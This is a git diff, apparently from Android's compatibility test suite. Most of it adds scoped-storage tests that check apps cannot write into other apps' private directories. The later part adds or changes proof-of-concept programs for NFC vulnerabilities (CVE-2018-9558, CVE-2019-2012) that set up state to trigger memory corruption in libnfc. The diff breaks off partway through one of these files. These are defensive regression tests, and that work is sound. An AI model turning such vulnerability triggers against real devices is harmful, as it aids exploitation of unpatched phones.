allow"); + } + } + + private void denyAppOps(String... ops) throws Exception { + for (String op : ops) { + executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy " + + op + " deny"); + } + } } diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java index d31bc33dfa9..cd9378d3047 100644 --- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java +++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java @@ -125,6 +125,26 @@ public class ScopedStorageHostTest extends BaseHostTestCase { } @Test + public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception { + allowAppOps("android:manage_external_storage"); + try { + runDeviceTest("testManageExternalStorageCantInsertFilesInOtherAppPrivateDir"); + } finally { + denyAppOps("android:manage_external_storage"); + } + } + + @Test + public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception { + allowAppOps("android:manage_external_storage"); + try { + runDeviceTest("testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir"); + } finally { + denyAppOps("android:manage_external_storage"); + } + } + + @Test public void testCheckInstallerAppAccessToObbDirs() throws Exception { allowAppOps("android:request_install_packages"); grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE"); diff --git a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml index c602f0ac9c0..c85b0903670 100644 --- a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml +++ b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml @@ -20,6 +20,7 @@ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> + <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" /> <application android:requestLegacyExternalStorage="true" > <uses-library android:name="android.test.runner" /> diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java index fd83a2ef74f..07383ac7a5c 100644 --- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java +++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java @@ -23,7 +23,9 @@ import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2; import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid; import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory; import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile; +import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories; import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile; +import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories; import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains; import static android.scopedstorage.cts.lib.TestUtils.assertFileContent; import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs; @@ -31,6 +33,7 @@ import static android.scopedstorage.cts.lib.TestUtils.checkPermission; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; @@ -38,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir; import static android.scopedstorage.cts.lib.TestUtils.getContentResolver; import static android.scopedstorage.cts.lib.TestUtils.getDcimDir; import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir; +import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir; import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase; import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase; import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri; @@ -46,8 +50,10 @@ import static android.scopedstorage.cts.lib.TestUtils.insertFile; import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia; import static android.scopedstorage.cts.lib.TestUtils.listAs; import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState; +import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed; import static android.scopedstorage.cts.lib.TestUtils.pollForPermission; import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume; +import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid; import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories; import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert; import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert; @@ -61,6 +67,7 @@ import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPriv import static androidx.test.InstrumentationRegistry.getContext; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotEquals; @@ -128,12 +135,14 @@ public class LegacyStorageTest { * test runs. */ static final String NONCE = String.valueOf(System.nanoTime()); - static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider"; + static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE; static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg"; static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4"; static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf"; + static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider"; + // The following apps are installed before the tests are run via a target_preparer. // See test config for details. // An app with READ_EXTERNAL_STORAGE permission @@ -343,7 +352,7 @@ public class LegacyStorageTest { try { assertThat(newDir.mkdir()).isFalse(); } finally { - newDir.delete(); + deleteRecursively(newDir); } } @@ -428,8 +437,8 @@ public class LegacyStorageTest { pdfFile1.delete(); pdfFile2.delete(); - nonMediaDir1.delete(); - nonMediaDir2.delete(); + deleteRecursively(nonMediaDir1); + deleteRecursively(nonMediaDir2); } } @@ -540,8 +549,8 @@ public class LegacyStorageTest { // UNIQUE constraint error. TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath); } finally { - directoryOldPath.delete(); - directoryNewPath.delete(); + deleteRecursively(directoryOldPath); + deleteRecursively(directoryNewPath); } } @@ -717,7 +726,7 @@ public class LegacyStorageTest { imageInNoMediaDir.delete(); renamedImageInDCIM.delete(); noMediaFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -871,6 +880,41 @@ public class LegacyStorageTest { } } + /** + * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a + * non default top level directory. + */ + @Test + public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception { + pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true); + final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME); + // Top level non default directory + final File topLevelTestDirectory = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME); + final File imageFileInTopLevelDir = new File(topLevelTestDirectory, IMAGE_FILE_NAME); + try { + assertThat(imageFile.createNewFile()).isTrue(); + final Uri imageUri = MediaStore.scanFile(getContentResolver(), imageFile); + assertThat(imageUri).isNotNull(); + + topLevelTestDirectory.mkdirs(); + assertThat(topLevelTestDirectory.exists()).isTrue(); + + allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); + + ContentValues values = new ContentValues(); + values.put(MediaStore.MediaColumns.RELATIVE_PATH, topLevelTestDirectory.getName()); + final int result = getContentResolver().update(imageUri, values, Bundle.EMPTY); + assertWithMessage("Result of update() from DCIM -> top level test directory") + .that(result).isEqualTo(1); + assertThat(imageFileInTopLevelDir.exists()).isTrue(); + } finally { + imageFile.delete(); + imageFileInTopLevelDir.delete(); + deleteRecursively(topLevelTestDirectory); + denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); + } + } + @Test public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception { pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false); @@ -958,6 +1002,82 @@ public class LegacyStorageTest { } /** + * Tests that legacy apps cannot insert in other app private directory + */ + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception { + pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true); + pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true); + + assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + + /** + * Tests that legacy apps cannot update in other app private directory + */ + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception { + pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /* granted */ true); + pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /* granted */ true); + + TestUtils.assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + + /** + * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot insert in other app private + * directory + */ + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception { + pollForManageExternalStorageAllowed(); + assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + + /** + * Tests that legacy apps with MANAGE_EXTERNAL_STORAGE cannot update in other app private + * directory + */ + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception { + pollForManageExternalStorageAllowed(); + assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + + /** + * Tests that legacy System Gallery apps cannot insert in other app private directory + */ + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + int uid = Process.myUid(); + try { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS); + assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } finally { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS); + } + } + + /** + * Tests that legacy System Gallery apps cannot update in other app private directory + */ + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + int uid = Process.myUid(); + try { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS); + assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* respectDataContentValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } finally { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS); + } + } + + /** * Make sure inserting files from app private directories in legacy apps is allowed via DATA. */ @Test diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java index 30683328b35..a04b86fed22 100644 --- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java +++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java @@ -16,6 +16,7 @@ package android.scopedstorage.cts.lib; +import static android.provider.MediaStore.VOLUME_EXTERNAL; import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY; import static androidx.test.InstrumentationRegistry.getContext; @@ -98,6 +99,7 @@ public class TestUtils { public static final String CREATE_IMAGE_ENTRY_QUERY = "android.scopedstorage.cts.createimageentry"; public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile"; + public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive"; public static final String CAN_OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.can_openfile_read"; public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY = @@ -295,6 +297,17 @@ public class TestUtils { } /** + * Makes the given {@code testApp} delete a file or directory. + * If the file is a directory, then deletes all of its children (file or directories) + * recursively. + * + * <p>This method drops shell permission identity. + */ + public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception { + return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY); + } + + /** * Makes the given {@code testApp} delete a file. Doesn't throw in case of failure. */ public static boolean deleteFileAsNoThrow(TestApp testApp, String path) { @@ -950,6 +963,111 @@ public class TestUtils { } /** + * Assert that app cannot insert files in other app's private directories + * + * @param fileName name of the file + * @param throwsExceptionForDataValue Apps like System Gallery for which Data column is not + * respected, will not throw an Exception as the Data value is ignored. + * @param otherApp Other test app in whose external private directory we will attempt to insert + * @param callingPackageName Calling package name + */ + public static void assertCantInsertToOtherPrivateAppDirectories(String fileName, + boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName) + throws Exception { + // Create directory in which the device test will try to insert file to + final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( + callingPackageName, otherApp.getPackageName())); + final File file = new File(otherAppExternalDataDir, fileName); + try { + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + + final ContentValues valuesWithData = new ContentValues(); + valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); + try { + Uri uri = getContentResolver().insert( + MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithData); + + if (throwsExceptionForDataValue) { + fail("File insert expected to fail: " + file); + } else { + try (Cursor c = getContentResolver().query(uri, new String[]{ + MediaStore.MediaColumns.DATA}, null, null)) { + assertThat(c.moveToFirst()).isTrue(); + assertThat(c.getString(0)).isNotEqualTo(file.getAbsolutePath()); + } + } + } catch (IllegalArgumentException expected) { + } + + final ContentValues valuesWithRelativePath = new ContentValues(); + final String path = file.getAbsolutePath(); + valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, + path.substring(path.indexOf("Android"))); + valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); + try { + getContentResolver().insert(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithRelativePath); + fail("File insert expected to fail: " + file); + } catch (IllegalArgumentException expected) { + } + } finally { + deleteFileAsNoThrow(otherApp, file.getPath()); + } + } + + /** + * Assert that app cannot update files in other app's private directories + * + * @param fileName name of the file + * @param throwsExceptionForDataValue Apps like non-legacy System Gallery/MES for which + * Data column is not respected, will not throw an Exception as the Data value is ignored. + * @param otherApp Other test app in whose external private directory we will attempt to insert + * @param callingPackageName Calling package name + */ + public static void assertCantUpdateToOtherPrivateAppDirectories(String fileName, + boolean throwsExceptionForDataValue, TestApp otherApp, String callingPackageName) + throws Exception { + // Create priv-app file and add to the database that we will try to update + final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( + callingPackageName, otherApp.getPackageName())); + final File file = new File(otherAppExternalDataDir, fileName); + try { + assertThat(createFileAs(otherApp, file.getPath())).isTrue(); + MediaStore.scanFile(getContentResolver(), file); + + final ContentValues valuesWithData = new ContentValues(); + valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath()); + try { + int res = getContentResolver().update( + MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithData, Bundle.EMPTY); + + if (throwsExceptionForDataValue) { + fail("File update expected to fail: " + file); + } else { + assertThat(res).isEqualTo(0); + } + } catch (IllegalArgumentException expected) { + } + + final ContentValues valuesWithRelativePath = new ContentValues(); + final String path = file.getAbsolutePath(); + valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH, + path.substring(path.indexOf("Android"))); + valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName); + try { + getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL), + valuesWithRelativePath, Bundle.EMPTY); + fail("File update expected to fail: " + file); + } catch (IllegalArgumentException expected) { + } + } finally { + deleteFileAsNoThrow(otherApp, file.getPath()); + } + } + + /** * Asserts can rename directory. */ public static void assertCanRenameDirectory(File oldDirectory, File newDirectory, diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java index 814f1a24654..ebc8f1047c1 100644 --- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java +++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java @@ -21,6 +21,8 @@ import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdenti import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidDataDir; import static android.scopedstorage.cts.lib.TestUtils.assertCanAccessPrivateAppAndroidObbDir; import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile; +import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories; +import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories; import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains; import static android.scopedstorage.cts.lib.TestUtils.assertFileContent; import static android.scopedstorage.cts.lib.TestUtils.assertMountMode; @@ -30,6 +32,7 @@ import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs; import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity; import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand; import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir; @@ -142,7 +145,7 @@ public class ScopedStorageTest { "CtsScopedStorageTestAppB.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); @Before public void setup() throws Exception { @@ -228,6 +231,28 @@ public class ScopedStorageTest { }); } + /** + * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot insert files in other app's + * private directories. + */ + @Test + public void testManageExternalStorageCantInsertFilesInOtherAppPrivateDir() throws Exception { + pollForManageExternalStorageAllowed(); + assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* throwsExceptionForDataValue */ true, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + + /** + * Tests that apps with MANAGE_EXTERNAL_STORAGE permission cannot update files in other app's + * private directories. + */ + @Test + public void testManageExternalStorageCantUpdateFilesInOtherAppPrivateDir() throws Exception { + pollForManageExternalStorageAllowed(); + assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } + @Test public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception { pollForManageExternalStorageAllowed(); @@ -305,7 +330,8 @@ public class ScopedStorageTest { final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace( THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName())); final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir"); - final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg"); + final File otherAppExternalDataFile = + new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME); assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath())) .isTrue(); @@ -495,7 +521,7 @@ public class ScopedStorageTest { nomediaFile.delete(); mediaFile.delete(); renamedMediaFile.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaDir); } } @@ -532,8 +558,8 @@ public class ScopedStorageTest { mediaFile1InSubDir.delete(); mediaFile2InSubDir.delete(); topLevelNomediaFile.delete(); - nomediaSubDir.delete(); - nomediaDir.delete(); + deleteRecursively(nomediaSubDir); + deleteRecursively(nomediaDir); // Scan the directory to remove stale db rows. MediaStore.scanFile(getContentResolver(), nomediaDir); } @@ -880,8 +906,8 @@ public class ScopedStorageTest { imageFile.delete(); renamedImageFile.delete(); imageFileInRenamedDir.delete(); - dir.delete(); - renamedDir.delete(); + deleteRecursively(dir); + deleteRecursively(renamedDir); } } diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp index d3e6ea7c486..7770ebde437 100644 --- a/hostsidetests/securitybulletin/Android.bp +++ b/hostsidetests/securitybulletin/Android.bp @@ -29,9 +29,10 @@ java_test_host { ], // Must match the package name in CtsTestCaseList.mk libs: [ + "compatibility-host-util", "cts-tradefed", + "sts-host-util", "tradefed", - "compatibility-host-util", ], } diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf Binary files differnew file mode 100644 index 00000000000..d03c2469bad --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664 Binary files differnew file mode 100644 index 00000000000..21f7d245d99 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39664 diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp index e20c0f222d0..e7508298c9c 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp @@ -20,6 +20,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + #define INITIAL_VALUE 0xBE #define NUM_BYTES 1 @@ -33,18 +43,31 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { } int main() { - tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; - rw_init(); - rw_cb.p_cback = &poc_cback; - p_t2t->state = RW_T2T_STATE_DETECT_TLV; - p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; - p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; - p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; - p_t2t->bytes_count = NUM_BYTES; - p_t2t->tlv_value[1] = UINT8_MAX; - uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); - memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); - uint8_t data[T2T_READ_DATA_LEN]; - rw_t2t_handle_rsp(data); - return EXIT_SUCCESS; + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + rw_init(); + rw_cb.p_cback = &poc_cback; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = NUM_BYTES; + p_t2t->tlv_value[1] = UINT8_MAX; + uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); + memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); + uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; + rw_t2t_handle_rsp(data); + isTestInProgress = false; + return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp index 2c9502b68aa..78f51bd2e4a 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp @@ -15,33 +15,28 @@ * */ +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + cc_test { - name: "CVE-2021-0684", + name: "CVE-2019-2012", defaults: ["cts_hostsidetests_securitybulletin_defaults"], - header_libs: [ - "libbatteryservice_headers", - ], srcs: [ "poc.cpp", - "TestInputListener.cpp", ":cts_hostsidetests_securitybulletin_memutils", ], - cflags: [ - "-DCHECK_OVERFLOW", - "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096", - "-Wno-unused-parameter", - ], - static_libs: [ - "libinputdispatcher", + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux", ], shared_libs: [ - "libinputflinger_base", - "libinputreader", - "libinputflinger", - "libinputreader", - "libbase", - "libinput", - "liblog", - "libutils", + "libnfc-nci", + ], + cflags: [ + "-DCHECK_OVERFLOW", ], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp new file mode 100644 index 00000000000..97556ba9501 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp @@ -0,0 +1,175 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include <string.h> +#include <tags_defs.h> + +#include "../includes/common.h" + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit (EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + if (ptr) { + memset(ptr, 0x0, size); + } + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + 